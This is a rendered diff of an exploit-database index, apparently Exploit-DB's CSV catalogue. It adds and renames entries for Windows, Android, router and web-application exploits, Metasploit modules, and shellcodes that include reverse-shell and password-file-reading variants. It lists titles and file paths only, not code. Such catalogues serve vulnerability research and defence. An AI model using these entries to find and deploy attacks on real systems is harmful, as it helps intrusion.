43471,exploits/windows/dos/43471.cpp,"Microsoft Windows - 'nt!NtQuerySystemInformation (information class 138_ QueryMemoryTopologyInformation)' Kernel Pool Memory Disclosure",2018-01-09,"Google Security Research",dos,windows,
|
43471,exploits/windows/dos/43471.cpp,"Microsoft Windows - 'nt!NtQuerySystemInformation (information class 138_ QueryMemoryTopologyInformation)' Kernel Pool Memory Disclosure",2018-01-09,"Google Security Research",dos,windows,
|
||||||
43490,exploits/hardware/dos/43490.txt,"Multiple CPUs - Information Leak Using Speculative Execution",2018-01-10,"Google Security Research",dos,hardware,
|
43490,exploits/hardware/dos/43490.txt,"Multiple CPUs - Information Leak Using Speculative Execution",2018-01-10,"Google Security Research",dos,hardware,
|
||||||
43491,exploits/windows/dos/43491.js,"Microsoft Edge Chakra JIT - 'Lowerer::LowerSetConcatStrMultiItem' Missing Integer Overflow Check",2018-01-10,"Google Security Research",dos,windows,
|
43491,exploits/windows/dos/43491.js,"Microsoft Edge Chakra JIT - 'Lowerer::LowerSetConcatStrMultiItem' Missing Integer Overflow Check",2018-01-10,"Google Security Research",dos,windows,
|
||||||
|
43501,exploits/multiple/dos/43501.txt,"MiniUPnP MiniUPnPc < 2.0 - Remote Denial of Service",2017-05-11,tintinweb,dos,multiple,
|
||||||
|
43513,exploits/android/dos/43513.txt,"Android - Hardware Service Manager Arbitrary Service Replacement due to getpidcon",2018-01-11,"Google Security Research",dos,android,
|
||||||
|
43514,exploits/windows/dos/43514.cs,"Microsoft Windows - NTFS Owner/Mandatory Label Privilege Bypass",2018-01-11,"Google Security Research",dos,windows,
|
||||||
|
43515,exploits/windows/dos/43515.txt,"Microsoft Windows - NtImpersonateAnonymousToken AC to Non-AC Privilege Escalation",2018-01-11,"Google Security Research",dos,windows,
|
||||||
|
43516,exploits/windows/dos/43516.txt,"Microsoft Windows - NtImpersonateAnonymousToken LPAC to Non-LPAC Privilege Escalation",2018-01-11,"Google Security Research",dos,windows,
|
||||||
|
43517,exploits/windows/dos/43517.txt,"Microsoft Windows SMB Server (v1/v2) - Mount Point Arbitrary Device Open Privilege Escalation",2018-01-11,"Google Security Research",dos,windows,
|
||||||
|
43521,exploits/macos/dos/43521.c,"macOS - 'process_policy' Stack Leak Through Uninitialized Field",2018-01-11,"Google Security Research",dos,macos,
|
||||||
|
43522,exploits/windows/dos/43522.js,"Microsoft Edge Chakra - 'AppendLeftOverItemsFromEndSegment' Out-of-Bounds Read",2018-01-11,"Google Security Research",dos,windows,
|
||||||
41623,exploits/windows/dos/41623.html,"Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free",2017-03-16,"Google Security Research",dos,windows,
|
41623,exploits/windows/dos/41623.html,"Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free",2017-03-16,"Google Security Research",dos,windows,
|
||||||
41629,exploits/windows/dos/41629.py,"FTPShell Client 6.53 - 'Session name' Local Buffer Overflow",2017-03-17,ScrR1pTK1dd13,dos,windows,
|
41629,exploits/windows/dos/41629.py,"FTPShell Client 6.53 - 'Session name' Local Buffer Overflow",2017-03-17,ScrR1pTK1dd13,dos,windows,
|
||||||
41637,exploits/windows/dos/41637.py,"FTPShell Server 6.56 - 'ChangePassword' Buffer Overflow",2017-03-19,ScrR1pTK1dd13,dos,windows,
|
41637,exploits/windows/dos/41637.py,"FTPShell Server 6.56 - 'ChangePassword' Buffer Overflow",2017-03-19,ScrR1pTK1dd13,dos,windows,
|
||||||
|
|
@ -9261,7 +9269,9 @@ id,file,description,date,author,type,platform,port
|
||||||
43427,exploits/multiple/local/43427.c,"Multiple CPUs - 'Spectre' Information Disclosure",2018-01-03,Multiple,local,multiple,
|
43427,exploits/multiple/local/43427.c,"Multiple CPUs - 'Spectre' Information Disclosure",2018-01-03,Multiple,local,multiple,
|
||||||
43449,exploits/linux/local/43449.rb,"VMware Workstation - ALSA Config File Local Privilege Escalation (Metasploit)",2018-01-05,Metasploit,local,linux,
|
43449,exploits/linux/local/43449.rb,"VMware Workstation - ALSA Config File Local Privilege Escalation (Metasploit)",2018-01-05,Metasploit,local,linux,
|
||||||
43465,exploits/windows/local/43465.txt,"Microsoft Windows - Local XPS Print Spooler Sandbox Escape",2018-01-08,"Google Security Research",local,windows,
|
43465,exploits/windows/local/43465.txt,"Microsoft Windows - Local XPS Print Spooler Sandbox Escape",2018-01-08,"Google Security Research",local,windows,
|
||||||
43494,exploits/windows/local/43494.cpp,"Jungo Windriver 12.5.1 - Privilege Escalation",2018-01-10,"Fidus InfoSecurity",local,windows,
|
43494,exploits/windows/local/43494.cpp,"Jungo Windriver 12.5.1 - Local Privilege Escalation",2018-01-10,"Fidus InfoSecurity",local,windows,
|
||||||
|
43499,exploits/multiple/local/43499.txt,"Parity Browser < 1.6.10 - Bypass Same Origin Policy",2018-01-10,tintinweb,local,multiple,
|
||||||
|
43500,exploits/multiple/local/43500.txt,"Python smtplib 2.7.11 / 3.4.4 / 3.5.1 - Man In The Middle StartTLS Stripping",2016-07-03,tintinweb,local,multiple,
|
||||||
41675,exploits/android/local/41675.rb,"Google Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit)",2012-12-21,Metasploit,local,android,
|
41675,exploits/android/local/41675.rb,"Google Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit)",2012-12-21,Metasploit,local,android,
|
||||||
41683,exploits/multiple/local/41683.rb,"Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit)",2013-01-08,Metasploit,local,multiple,
|
41683,exploits/multiple/local/41683.rb,"Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit)",2013-01-08,Metasploit,local,multiple,
|
||||||
41700,exploits/windows/local/41700.rb,"Sun Java Web Start Plugin - Command Line Argument Injection (Metasploit)",2010-04-09,Metasploit,local,windows,
|
41700,exploits/windows/local/41700.rb,"Sun Java Web Start Plugin - Command Line Argument Injection (Metasploit)",2010-04-09,Metasploit,local,windows,
|
||||||
|
|
@ -14636,7 +14646,7 @@ id,file,description,date,author,type,platform,port
|
||||||
31767,exploits/multiple/remote/31767.rb,"MediaWiki - 'Thumb.php' Remote Command Execution (Metasploit)",2014-02-19,Metasploit,remote,multiple,80
|
31767,exploits/multiple/remote/31767.rb,"MediaWiki - 'Thumb.php' Remote Command Execution (Metasploit)",2014-02-19,Metasploit,remote,multiple,80
|
||||||
31769,exploits/windows/remote/31769.html,"Ourgame 'GLIEDown2.dll' ActiveX Control - Remote Code Execution",2008-05-08,anonymous,remote,windows,
|
31769,exploits/windows/remote/31769.html,"Ourgame 'GLIEDown2.dll' ActiveX Control - Remote Code Execution",2008-05-08,anonymous,remote,windows,
|
||||||
31770,exploits/multiple/remote/31770.txt,"Oracle Application Server Portal 10g - Authentication Bypass",2008-05-09,"Deniz Cevik",remote,multiple,
|
31770,exploits/multiple/remote/31770.txt,"Oracle Application Server Portal 10g - Authentication Bypass",2008-05-09,"Deniz Cevik",remote,multiple,
|
||||||
31788,exploits/windows/remote/31788.py,"VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' MITM Remote Code Execution",2014-02-20,"Julien Ahrens",remote,windows,
|
31788,exploits/windows/remote/31788.py,"VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' Man In The Middle Remote Code Execution",2014-02-20,"Julien Ahrens",remote,windows,
|
||||||
31789,exploits/windows/remote/31789.py,"PCMan FTP Server 2.07 - Remote Buffer Overflow",2014-02-20,Sumit,remote,windows,21
|
31789,exploits/windows/remote/31789.py,"PCMan FTP Server 2.07 - Remote Buffer Overflow",2014-02-20,Sumit,remote,windows,21
|
||||||
31814,exploits/windows/remote/31814.py,"Ultra Mini HTTPD 1.21 - 'POST' Remote Stack Buffer Overflow",2014-02-22,"OJ Reeves",remote,windows,
|
31814,exploits/windows/remote/31814.py,"Ultra Mini HTTPD 1.21 - 'POST' Remote Stack Buffer Overflow",2014-02-22,"OJ Reeves",remote,windows,
|
||||||
31820,exploits/unix/remote/31820.pl,"IBM Lotus Sametime 8.0 - Multiplexer Buffer Overflow",2008-05-21,"Manuel Santamarina Suarez",remote,unix,
|
31820,exploits/unix/remote/31820.pl,"IBM Lotus Sametime 8.0 - Multiplexer Buffer Overflow",2008-05-21,"Manuel Santamarina Suarez",remote,unix,
|
||||||
|
|
@ -15698,7 +15708,7 @@ id,file,description,date,author,type,platform,port
|
||||||
39259,exploits/multiple/remote/39259.txt,"Alfresco - '/cmisbrowser?url' Server-Side Request Forgery",2014-07-16,"V. Paulikas",remote,multiple,
|
39259,exploits/multiple/remote/39259.txt,"Alfresco - '/cmisbrowser?url' Server-Side Request Forgery",2014-07-16,"V. Paulikas",remote,multiple,
|
||||||
39455,exploits/multiple/remote/39455.txt,"Inductive Automation Ignition 7.8.1 - Remote Leakage Of Shared Buffers",2016-02-17,LiquidWorm,remote,multiple,
|
39455,exploits/multiple/remote/39455.txt,"Inductive Automation Ignition 7.8.1 - Remote Leakage Of Shared Buffers",2016-02-17,LiquidWorm,remote,multiple,
|
||||||
39278,exploits/hardware/remote/39278.txt,"Barracuda Web Application Firewall - Authentication Bypass",2014-08-04,"Nick Hayes",remote,hardware,
|
39278,exploits/hardware/remote/39278.txt,"Barracuda Web Application Firewall - Authentication Bypass",2014-08-04,"Nick Hayes",remote,hardware,
|
||||||
39292,exploits/multiple/remote/39292.pl,"Granding MA300 - Traffic Sniffing MitM Fingerprint PIN Disclosure",2014-08-26,"Eric Sesterhenn",remote,multiple,
|
39292,exploits/multiple/remote/39292.pl,"Granding MA300 - Traffic Sniffing Man In The Middle Fingerprint PIN Disclosure",2014-08-26,"Eric Sesterhenn",remote,multiple,
|
||||||
39293,exploits/multiple/remote/39293.pl,"Granding MA300 - Weak Pin Encryption Brute Force",2014-08-26,"Eric Sesterhenn",remote,multiple,
|
39293,exploits/multiple/remote/39293.pl,"Granding MA300 - Weak Pin Encryption Brute Force",2014-08-26,"Eric Sesterhenn",remote,multiple,
|
||||||
39295,exploits/multiple/remote/39295.js,"Mozilla Firefox 9.0.1 / Thunderbird 3.1.20 - Information Disclosure",2014-09-02,"Michal Zalewski",remote,multiple,
|
39295,exploits/multiple/remote/39295.js,"Mozilla Firefox 9.0.1 / Thunderbird 3.1.20 - Information Disclosure",2014-09-02,"Michal Zalewski",remote,multiple,
|
||||||
39314,exploits/hardware/remote/39314.c,"Aztech Modem Routers - Information Disclosure",2014-09-15,"Eric Fajardo",remote,hardware,
|
39314,exploits/hardware/remote/39314.c,"Aztech Modem Routers - Information Disclosure",2014-09-15,"Eric Fajardo",remote,hardware,
|
||||||
|
|
@ -15915,6 +15925,8 @@ id,file,description,date,author,type,platform,port
|
||||||
43478,exploits/windows/remote/43478.py,"DiskBoss Enterprise 8.8.16 - Buffer Overflow",2018-01-10,"Arris Huijgen",remote,windows,
|
43478,exploits/windows/remote/43478.py,"DiskBoss Enterprise 8.8.16 - Buffer Overflow",2018-01-10,"Arris Huijgen",remote,windows,
|
||||||
43492,exploits/windows/remote/43492.rb,"HPE iMC - dbman RestoreDBase Unauthenticated Remote Command Execution (Metasploit)",2018-01-10,Metasploit,remote,windows,2810
|
43492,exploits/windows/remote/43492.rb,"HPE iMC - dbman RestoreDBase Unauthenticated Remote Command Execution (Metasploit)",2018-01-10,Metasploit,remote,windows,2810
|
||||||
43493,exploits/windows/remote/43493.rb,"HPE iMC - dbman RestartDB Unauthenticated Remote Command Execution (Metasploit)",2018-01-10,Metasploit,remote,windows,2810
|
43493,exploits/windows/remote/43493.rb,"HPE iMC - dbman RestartDB Unauthenticated Remote Command Execution (Metasploit)",2018-01-10,Metasploit,remote,windows,2810
|
||||||
|
43518,exploits/windows/remote/43518.rb,"LabF nfsAxe 3.7 FTP Client - Stack Buffer Overflow (Metasploit)",2018-01-11,Metasploit,remote,windows,
|
||||||
|
43519,exploits/php/remote/43519.rb,"phpCollab 2.5.1 - Unauthenticated File Upload (Metasploit)",2018-01-11,Metasploit,remote,php,
|
||||||
41638,exploits/windows/remote/41638.txt,"HttpServer 1.0 - Directory Traversal",2017-03-19,malwrforensics,remote,windows,
|
41638,exploits/windows/remote/41638.txt,"HttpServer 1.0 - Directory Traversal",2017-03-19,malwrforensics,remote,windows,
|
||||||
41666,exploits/windows/remote/41666.py,"Disk Sorter Enterprise 9.5.12 - 'GET' Remote Buffer Overflow (SEH)",2017-03-22,"Daniel Teixeira",remote,windows,
|
41666,exploits/windows/remote/41666.py,"Disk Sorter Enterprise 9.5.12 - 'GET' Remote Buffer Overflow (SEH)",2017-03-22,"Daniel Teixeira",remote,windows,
|
||||||
41672,exploits/windows/remote/41672.rb,"SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)",2017-02-28,Metasploit,remote,windows,
|
41672,exploits/windows/remote/41672.rb,"SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)",2017-02-28,Metasploit,remote,windows,
|
||||||
|
|
@ -15934,7 +15946,7 @@ id,file,description,date,author,type,platform,port
|
||||||
42316,exploits/windows/remote/42316.ps1,"Skype for Business 2016 - Cross-Site Scripting",2017-07-12,nyxgeek,remote,windows,
|
42316,exploits/windows/remote/42316.ps1,"Skype for Business 2016 - Cross-Site Scripting",2017-07-12,nyxgeek,remote,windows,
|
||||||
42779,exploits/linux/remote/42779.rb,"Supervisor 3.0a1 < 3.3.2 - XML-RPC Authenticated Remote Code Execution (Metasploit)",2017-09-25,Metasploit,remote,linux,9001
|
42779,exploits/linux/remote/42779.rb,"Supervisor 3.0a1 < 3.3.2 - XML-RPC Authenticated Remote Code Execution (Metasploit)",2017-09-25,Metasploit,remote,linux,9001
|
||||||
41987,exploits/windows/remote/41987.py,"Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010)",2017-05-10,"Juan Sacco",remote,windows,
|
41987,exploits/windows/remote/41987.py,"Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010)",2017-05-10,"Juan Sacco",remote,windows,
|
||||||
42287,exploits/android/remote/42287.txt,"eVestigator Forensic PenTester - MITM Remote Code Execution",2017-06-30,intern0t,remote,android,
|
42287,exploits/android/remote/42287.txt,"eVestigator Forensic PenTester - Man In The Middle Remote Code Execution",2017-06-30,intern0t,remote,android,
|
||||||
41718,exploits/hardware/remote/41718.txt,"Miele Professional PG 8528 - Directory Traversal",2017-03-24,"Jens Regel",remote,hardware,
|
41718,exploits/hardware/remote/41718.txt,"Miele Professional PG 8528 - Directory Traversal",2017-03-24,"Jens Regel",remote,hardware,
|
||||||
41719,exploits/hardware/remote/41719.rb,"NETGEAR WNR2000v5 - Unauthenticated 'hidden_lang_avi' Remote Stack Overflow (Metasploit)",2017-03-24,Metasploit,remote,hardware,80
|
41719,exploits/hardware/remote/41719.rb,"NETGEAR WNR2000v5 - Unauthenticated 'hidden_lang_avi' Remote Stack Overflow (Metasploit)",2017-03-24,Metasploit,remote,hardware,80
|
||||||
41720,exploits/python/remote/41720.rb,"Logsign 4.4.2/4.4.137 - Remote Command Injection (Metasploit)",2017-03-24,"Mehmet Ince",remote,python,
|
41720,exploits/python/remote/41720.rb,"Logsign 4.4.2/4.4.137 - Remote Command Injection (Metasploit)",2017-03-24,"Mehmet Ince",remote,python,
|
||||||
|
|
@ -15997,7 +16009,7 @@ id,file,description,date,author,type,platform,port
|
||||||
42257,exploits/cgi/remote/42257.rb,"NETGEAR DGN2200 - 'dnslookup.cgi' Command Injection (Metasploit)",2017-06-26,Metasploit,remote,cgi,80
|
42257,exploits/cgi/remote/42257.rb,"NETGEAR DGN2200 - 'dnslookup.cgi' Command Injection (Metasploit)",2017-06-26,Metasploit,remote,cgi,80
|
||||||
42282,exploits/windows/remote/42282.rb,"Veritas/Symantec Backup Exec - SSL NDMP Connection Use-After-Free (Metasploit)",2017-06-29,Metasploit,remote,windows,10000
|
42282,exploits/windows/remote/42282.rb,"Veritas/Symantec Backup Exec - SSL NDMP Connection Use-After-Free (Metasploit)",2017-06-29,Metasploit,remote,windows,10000
|
||||||
42283,exploits/java/remote/42283.rb,"ActiveMQ < 5.14.0 - Web Shell Upload (Metasploit)",2017-06-29,Metasploit,remote,java,
|
42283,exploits/java/remote/42283.rb,"ActiveMQ < 5.14.0 - Web Shell Upload (Metasploit)",2017-06-29,Metasploit,remote,java,
|
||||||
42288,exploits/android/remote/42288.txt,"BestSafe Browser - MITM Remote Code Execution",2017-06-30,intern0t,remote,android,
|
42288,exploits/android/remote/42288.txt,"BestSafe Browser - Man In The Middle Remote Code Execution",2017-06-30,intern0t,remote,android,
|
||||||
42289,exploits/android/remote/42289.txt,"Australian Education App - Remote Code Execution",2017-06-30,intern0t,remote,android,
|
42289,exploits/android/remote/42289.txt,"Australian Education App - Remote Code Execution",2017-06-30,intern0t,remote,android,
|
||||||
42296,exploits/unix/remote/42296.rb,"GoAutoDial 3.3 - Authentication Bypass / Command Injection (Metasploit)",2017-07-05,Metasploit,remote,unix,443
|
42296,exploits/unix/remote/42296.rb,"GoAutoDial 3.3 - Authentication Bypass / Command Injection (Metasploit)",2017-07-05,Metasploit,remote,unix,443
|
||||||
42297,exploits/php/remote/42297.py,"Lepide Auditor Suite - 'createdb()' Web Console Database Injection / Remote Code Execution",2017-07-05,mr_me,remote,php,7778
|
42297,exploits/php/remote/42297.py,"Lepide Auditor Suite - 'createdb()' Web Console Database Injection / Remote Code Execution",2017-07-05,mr_me,remote,php,7778
|
||||||
|
|
@ -16008,8 +16020,8 @@ id,file,description,date,author,type,platform,port
|
||||||
42328,exploits/windows/remote/42328.py,"FTPGetter 5.89.0.85 - Remote Buffer Overflow (SEH)",2017-07-14,"Paul Purcell",remote,windows,
|
42328,exploits/windows/remote/42328.py,"FTPGetter 5.89.0.85 - Remote Buffer Overflow (SEH)",2017-07-14,"Paul Purcell",remote,windows,
|
||||||
42331,exploits/hardware/remote/42331.txt,"Belkin F7D7601 NetCam - Multiple Vulnerabilities",2017-07-17,Wadeek,remote,hardware,
|
42331,exploits/hardware/remote/42331.txt,"Belkin F7D7601 NetCam - Multiple Vulnerabilities",2017-07-17,Wadeek,remote,hardware,
|
||||||
42394,exploits/java/remote/42394.py,"Jenkins < 1.650 - Java Deserialization",2017-07-30,"Janusz Piechówka",remote,java,
|
42394,exploits/java/remote/42394.py,"Jenkins < 1.650 - Java Deserialization",2017-07-30,"Janusz Piechówka",remote,java,
|
||||||
42349,exploits/android/remote/42349.txt,"SKILLS.com.au Industry App - MITM Remote Code Execution",2017-07-20,intern0t,remote,android,
|
42349,exploits/android/remote/42349.txt,"SKILLS.com.au Industry App - Man In The Middle Remote Code Execution",2017-07-20,intern0t,remote,android,
|
||||||
42350,exploits/android/remote/42350.txt,"Virtual Postage (VPA) - MITM Remote Code Execution",2017-07-20,intern0t,remote,android,
|
42350,exploits/android/remote/42350.txt,"Virtual Postage (VPA) - Man In The Middle Remote Code Execution",2017-07-20,intern0t,remote,android,
|
||||||
42354,exploits/win_x86-64/remote/42354.html,"Microsoft Internet Explorer - 'mshtml.dll' Remote Code Execution (MS17-007)",2017-07-24,redr2e,remote,win_x86-64,
|
42354,exploits/win_x86-64/remote/42354.html,"Microsoft Internet Explorer - 'mshtml.dll' Remote Code Execution (MS17-007)",2017-07-24,redr2e,remote,win_x86-64,
|
||||||
42355,exploits/hardware/remote/42355.c,"CenturyLink ZyXEL PK5001Z Router - Root Remote Code Execution",2017-07-24,oxagast,remote,hardware,
|
42355,exploits/hardware/remote/42355.c,"CenturyLink ZyXEL PK5001Z Router - Root Remote Code Execution",2017-07-24,oxagast,remote,hardware,
|
||||||
42369,exploits/cgi/remote/42369.rb,"IPFire < 2.19 Update Core 110 - Remote Code Execution (Metasploit)",2017-07-24,Metasploit,remote,cgi,
|
42369,exploits/cgi/remote/42369.rb,"IPFire < 2.19 Update Core 110 - Remote Code Execution (Metasploit)",2017-07-24,Metasploit,remote,cgi,
|
||||||
|
|
@ -16061,7 +16073,7 @@ id,file,description,date,author,type,platform,port
|
||||||
42793,exploits/multiple/remote/42793.rb,"NodeJS Debugger - Command Injection (Metasploit)",2017-09-26,Metasploit,remote,multiple,5858
|
42793,exploits/multiple/remote/42793.rb,"NodeJS Debugger - Command Injection (Metasploit)",2017-09-26,Metasploit,remote,multiple,5858
|
||||||
42806,exploits/java/remote/42806.py,"Oracle WebLogic Server 10.3.6.0 - Java Deserialization",2017-09-27,SlidingWindow,remote,java,
|
42806,exploits/java/remote/42806.py,"Oracle WebLogic Server 10.3.6.0 - Java Deserialization",2017-09-27,SlidingWindow,remote,java,
|
||||||
42888,exploits/hardware/remote/42888.sh,"Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution",2017-09-27,"Adam Brown",remote,hardware,
|
42888,exploits/hardware/remote/42888.sh,"Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution",2017-09-27,"Adam Brown",remote,hardware,
|
||||||
42891,exploits/windows/remote/42891.txt,"Trend Micro OfficeScan 11.0/XG (12.0) - MITM Remote Code Execution",2017-09-28,hyp3rlinx,remote,windows,
|
42891,exploits/windows/remote/42891.txt,"Trend Micro OfficeScan 11.0/XG (12.0) - Man In The Middle Remote Code Execution",2017-09-28,hyp3rlinx,remote,windows,
|
||||||
42928,exploits/windows/remote/42928.py,"Sync Breeze Enterprise 10.0.28 - Remote Buffer Overflow",2017-09-30,"Owais Mehtab",remote,windows,
|
42928,exploits/windows/remote/42928.py,"Sync Breeze Enterprise 10.0.28 - Remote Buffer Overflow",2017-09-30,"Owais Mehtab",remote,windows,
|
||||||
42957,exploits/linux/remote/42957.py,"Unitrends UEB 9.1 - 'Unitrends bpserverd' Remote Command Execution",2017-08-08,"Jared Arave",remote,linux,
|
42957,exploits/linux/remote/42957.py,"Unitrends UEB 9.1 - 'Unitrends bpserverd' Remote Command Execution",2017-08-08,"Jared Arave",remote,linux,
|
||||||
42938,exploits/linux/remote/42938.rb,"Qmail SMTP - Bash Environment Variable Injection (Metasploit)",2017-10-02,Metasploit,remote,linux,
|
42938,exploits/linux/remote/42938.rb,"Qmail SMTP - Bash Environment Variable Injection (Metasploit)",2017-10-02,Metasploit,remote,linux,
|
||||||
|
|
@ -37749,6 +37761,8 @@ id,file,description,date,author,type,platform,port
|
||||||
43486,exploits/php/webapps/43486.txt,"WordPress Plugin Admin Menu Tree Page View 2.6.9 - Cross-Site Request Forgery / Privilege Escalation",2018-01-10,"Panagiotis Vagenas",webapps,php,80
|
43486,exploits/php/webapps/43486.txt,"WordPress Plugin Admin Menu Tree Page View 2.6.9 - Cross-Site Request Forgery / Privilege Escalation",2018-01-10,"Panagiotis Vagenas",webapps,php,80
|
||||||
43487,exploits/php/webapps/43487.txt,"WordPress Plugin WordPress Download Manager 2.9.60 - Cross-Site Request Forgery",2018-01-10,"Panagiotis Vagenas",webapps,php,80
|
43487,exploits/php/webapps/43487.txt,"WordPress Plugin WordPress Download Manager 2.9.60 - Cross-Site Request Forgery",2018-01-10,"Panagiotis Vagenas",webapps,php,80
|
||||||
43488,exploits/php/webapps/43488.txt,"Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting",2018-01-10,"Mattia Furlani",webapps,php,
|
43488,exploits/php/webapps/43488.txt,"Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting",2018-01-10,"Mattia Furlani",webapps,php,
|
||||||
|
43495,exploits/multiple/webapps/43495.py,"SAP NetWeaver J2EE Engine 7.40 - SQL Injection",2018-01-10,"Vahagn Vardanyan",webapps,multiple,
|
||||||
|
43496,exploits/hardware/webapps/43496.py,"D-Link Routers 110/412/615/815 < 1.03 - 'service.cgi' Arbitrary Code Execution",2018-01-10,Cr0n1c,webapps,hardware,
|
||||||
41622,exploits/php/webapps/41622.py,"Wordpress Plugin Membership Simplified 1.58 - Arbitrary File Download",2017-03-16,"The Martian",webapps,php,
|
41622,exploits/php/webapps/41622.py,"Wordpress Plugin Membership Simplified 1.58 - Arbitrary File Download",2017-03-16,"The Martian",webapps,php,
|
||||||
41625,exploits/hardware/webapps/41625.txt,"AXIS Communications - Cross-Site Scripting / Content Injection",2017-03-17,Orwelllabs,webapps,hardware,
|
41625,exploits/hardware/webapps/41625.txt,"AXIS Communications - Cross-Site Scripting / Content Injection",2017-03-17,Orwelllabs,webapps,hardware,
|
||||||
41626,exploits/hardware/webapps/41626.txt,"AXIS (Multiple Products) - Cross-Site Request Forgery",2017-03-17,Orwelllabs,webapps,hardware,
|
41626,exploits/hardware/webapps/41626.txt,"AXIS (Multiple Products) - Cross-Site Request Forgery",2017-03-17,Orwelllabs,webapps,hardware,
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
|
|
@ -14,7 +14,7 @@ id,file,description,date,author,type,platform
|
||||||
13252,shellcodes/bsd_x86/13252.c,"BSD/x86 - execve /bin/sh Encoded Shellcode (57 bytes)",2004-09-26,"Matias Sedalo",shellcode,bsd_x86
|
13252,shellcodes/bsd_x86/13252.c,"BSD/x86 - execve /bin/sh Encoded Shellcode (57 bytes)",2004-09-26,"Matias Sedalo",shellcode,bsd_x86
|
||||||
13254,shellcodes/bsd_x86/13254.c,"BSD/x86 - Reverse TCP Shell (torootteam.host.sk:2222/TCP) Shellcode (93 bytes)",2004-09-26,dev0id,shellcode,bsd_x86
|
13254,shellcodes/bsd_x86/13254.c,"BSD/x86 - Reverse TCP Shell (torootteam.host.sk:2222/TCP) Shellcode (93 bytes)",2004-09-26,dev0id,shellcode,bsd_x86
|
||||||
13255,shellcodes/bsd_x86/13255.c,"BSD/x86 - execve(/bin/cat /etc/master.passwd) | mail root@localhost Shellcode (92 bytes)",2004-09-26,"Matias Sedalo",shellcode,bsd_x86
|
13255,shellcodes/bsd_x86/13255.c,"BSD/x86 - execve(/bin/cat /etc/master.passwd) | mail root@localhost Shellcode (92 bytes)",2004-09-26,"Matias Sedalo",shellcode,bsd_x86
|
||||||
13256,shellcodes/freebsd_x86/13256.c,"FreeBSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes)",2004-09-26,"Sinan Eren",shellcode,freebsd_x86
|
13256,shellcodes/bsd/13256.c,"BSD/x86 - Reverse TCP Shell (192.168.2.33:6969/TCP) Shellcode (129 bytes)",2004-09-26,"Sinan Eren",shellcode,bsd
|
||||||
13257,shellcodes/bsdi_x86/13257.txt,"BSDi/x86 - execve /bin/sh Shellcode (45 bytes)",2004-09-26,duke,shellcode,bsdi_x86
|
13257,shellcodes/bsdi_x86/13257.txt,"BSDi/x86 - execve /bin/sh Shellcode (45 bytes)",2004-09-26,duke,shellcode,bsdi_x86
|
||||||
13258,shellcodes/bsdi_x86/13258.txt,"BSDi/x86 - execve /bin/sh Shellcode (46 bytes)",2004-09-26,vade79,shellcode,bsdi_x86
|
13258,shellcodes/bsdi_x86/13258.txt,"BSDi/x86 - execve /bin/sh Shellcode (46 bytes)",2004-09-26,vade79,shellcode,bsdi_x86
|
||||||
13260,shellcodes/bsdi_x86/13260.c,"BSDi/x86 - execve /bin/sh ToUpper Encoded Shellcode (97 bytes)",2004-09-26,anonymous,shellcode,bsdi_x86
|
13260,shellcodes/bsdi_x86/13260.c,"BSDi/x86 - execve /bin/sh ToUpper Encoded Shellcode (97 bytes)",2004-09-26,anonymous,shellcode,bsdi_x86
|
||||||
|
|
@ -27,7 +27,7 @@ id,file,description,date,author,type,platform
|
||||||
13267,shellcodes/freebsd_x86/13267.asm,"FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:8000/TCP) Null-Free Shellcode (89 bytes)",2008-08-21,sm4x,shellcode,freebsd_x86
|
13267,shellcodes/freebsd_x86/13267.asm,"FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:8000/TCP) Null-Free Shellcode (89 bytes)",2008-08-21,sm4x,shellcode,freebsd_x86
|
||||||
13268,shellcodes/freebsd_x86/13268.asm,"FreeBSD/x86 - setuid(0); + execve(ipf -Fa); Shellcode (57 bytes)",2008-08-21,sm4x,shellcode,freebsd_x86
|
13268,shellcodes/freebsd_x86/13268.asm,"FreeBSD/x86 - setuid(0); + execve(ipf -Fa); Shellcode (57 bytes)",2008-08-21,sm4x,shellcode,freebsd_x86
|
||||||
13269,shellcodes/freebsd_x86/13269.c,"FreeBSD/x86 - execve /bin/sh Encoded Shellcode (48 bytes)",2008-08-19,c0d3_z3r0,shellcode,freebsd_x86
|
13269,shellcodes/freebsd_x86/13269.c,"FreeBSD/x86 - execve /bin/sh Encoded Shellcode (48 bytes)",2008-08-19,c0d3_z3r0,shellcode,freebsd_x86
|
||||||
13270,shellcodes/freebsd_x86/13270.c,"FreeBSD/x86 - Bind TCP Password Shell (4883/TCP) Shellcode (222 bytes)",2006-07-19,MahDelin,shellcode,freebsd_x86
|
13270,shellcodes/freebsd_x86/13270.c,"FreeBSD/x86 - Bind TCP Password /bin/sh Shell (4883/TCP) Shellcode (222 bytes)",2006-07-19,MahDelin,shellcode,freebsd_x86
|
||||||
13271,shellcodes/freebsd_x86/13271.c,"FreeBSD/x86 - reboot(RB_AUTOBOOT) Shellcode (7 bytes)",2006-04-19,IZ,shellcode,freebsd_x86
|
13271,shellcodes/freebsd_x86/13271.c,"FreeBSD/x86 - reboot(RB_AUTOBOOT) Shellcode (7 bytes)",2006-04-19,IZ,shellcode,freebsd_x86
|
||||||
13272,shellcodes/freebsd_x86/13272.c,"FreeBSD/x86 - execve /bin/sh Shellcode (23 bytes) (1)",2006-04-14,IZ,shellcode,freebsd_x86
|
13272,shellcodes/freebsd_x86/13272.c,"FreeBSD/x86 - execve /bin/sh Shellcode (23 bytes) (1)",2006-04-14,IZ,shellcode,freebsd_x86
|
||||||
